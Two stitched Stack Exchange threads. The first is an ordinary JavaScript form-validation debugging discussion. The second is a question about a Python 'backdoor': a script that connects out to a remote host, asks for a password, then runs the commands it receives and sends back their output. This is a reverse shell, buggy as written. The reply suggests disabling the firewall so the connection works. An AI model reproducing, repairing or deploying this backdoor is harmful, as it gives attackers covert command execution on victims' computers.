(!tomatch.test(phone)){ errors.push("The phone number must be formated as follows: XXX-XXX-XXXX."); } if (!name){ errors.push("The Name is required"); } if (!email){ errors.push("The email is required."); } else if (!emailMatch.test(email)){ errors.push("The email must be formated as follows: name@domain.com."); } if (!address){ errors.push("The Address is required."); } if (errors.length) { event.preventDefault(); alert(errors.join("\n")); } } </script> <form enctype="multipart/form-data" action="assets/mailer.php" method="POST" id="form1" onSubmit="validateForm(event)"> <label for="Name">Name:</label><br /> <input size="100%" type="text" name="name" id="name"><br> <label for="Email">E-mail:</label><br /> <input size="100%" type="text" name="email" id="email" value=""><br /> <label for="Phone">Phone Number:</label><br /> <input size="100%" type="text" name="phonenumber" id="phonenumber" value=""><br /> <label for="Address">Shipping Address:</label><br /> <input size="100%" type="text" name="address" id="address" value=""><br /> <label for="comment">Input Comments/Questions:</label><br /> <input size="100%" type="text" name="comment" value=""><br><br> Please choose a file: <br /> <input name="uploaded" type="file" /><br /> <br /> <input size="100%" type="submit" value="Submit" /><br /> <input size="100%" type="reset" value="Reset"> </form> The event is actually the mail sender, which after removing required from the form now does not get triggered as the JS stops it, but No errors are alerted. so I still can't see what is not working. Check the site link I just added. As I told you have many errors ... but do what I've told about event... and change if (phone === null || phone === " ") with if (phone) so at least the phone will start validating. 1) do the event param passing I've mentioned 2) change your phone if ... 3) start debugging !!! if You use FireFox download FireBug addon (your best friend) ... put some preakpoints in the begining of your function ... many errors still to be corrected! event.preventDefault() and return false are doing the same thing, but return false soon will be deprecated. No errors are found by firebug or Chrome but now it doesn't validate at all. Now I'm even more confused. I updated the code above to reflect the changes I have made. Thank you so far, I found a huge issue that was my fault, no closing script tag, if you go to the site link above, it will not send unless you get the phone number right, but no alerts are issued to advise you what you have wrong? I'll post a whole working page in my answer - check it Thank you. I've been editing and testing piece by piece since I found the script tag error and was very close to the answer. Looks simple now. I am sorry I didn't get it myself, I'm new to JS, I prefer PHP. No problem, but try next time to put small piece of code, for example validating of one field + simple JS with the problematic part. You will have fast answer. Otherwise there will be a few people which will look at you problem seriously and you won't get helped. Cheers.
common-pile/stackexchange_filtered
Python Backdoor - Socket Error I thought I made a perfect backdoor but it keeps popping up with errors when I run the code from cmd. Here's the code: import socket import subprocess # Customizable variables HOST = '<IP_ADDRESS>' # IP for remote connection PORT = 12397 # Port for remote connection PASS = 'Test' # Password to make sure it is secure # Had To Make Some Changes STR = 'Welcome' ConnectMsg = bytes(STR.encode()) # Do not tuoch this s = socket.socket() # Conecting to atack computer s.connect((HOST, PORT)) s.send(ConnectMsg) s.send(HOST, PORT) # Login using your custom PassWord def Login(): global s s.send('login>>> ') pwd = s.recv(1024) if pwd != PASS: Login () else: Loop () # The fun stuff def Loop(): while 1: data = s.recv(1024) if deta == ':Quit': break proc = subprocess.Popen(deta, Loop=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdoutput = proc.stdout.read() + proc.stderr.read() s.send(stdoutput) s.send('>>> ') # Executing script Login() # Thankyou for downloading my script. .P.S ~ I programmed this with a smartphone XD. # copyright<EMAIL_ADDRESS> # I AM NOT RESPONSIBLE FOR ANYTHING YOU DO WITH THIS SCRIPT. Error - File "backdoor.py", line 18, in s.connect((HOST, PORT)) ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it Most probably your firewall, have you tried turning it off? No ill try that Thanks :) This has nothing to do with python, your machine has just decided to block python from accessing this certain port. Try to get your firewall (assuming that's whats causing the issue) to allow python into that port, and it should work.
common-pile/stackexchange_filtered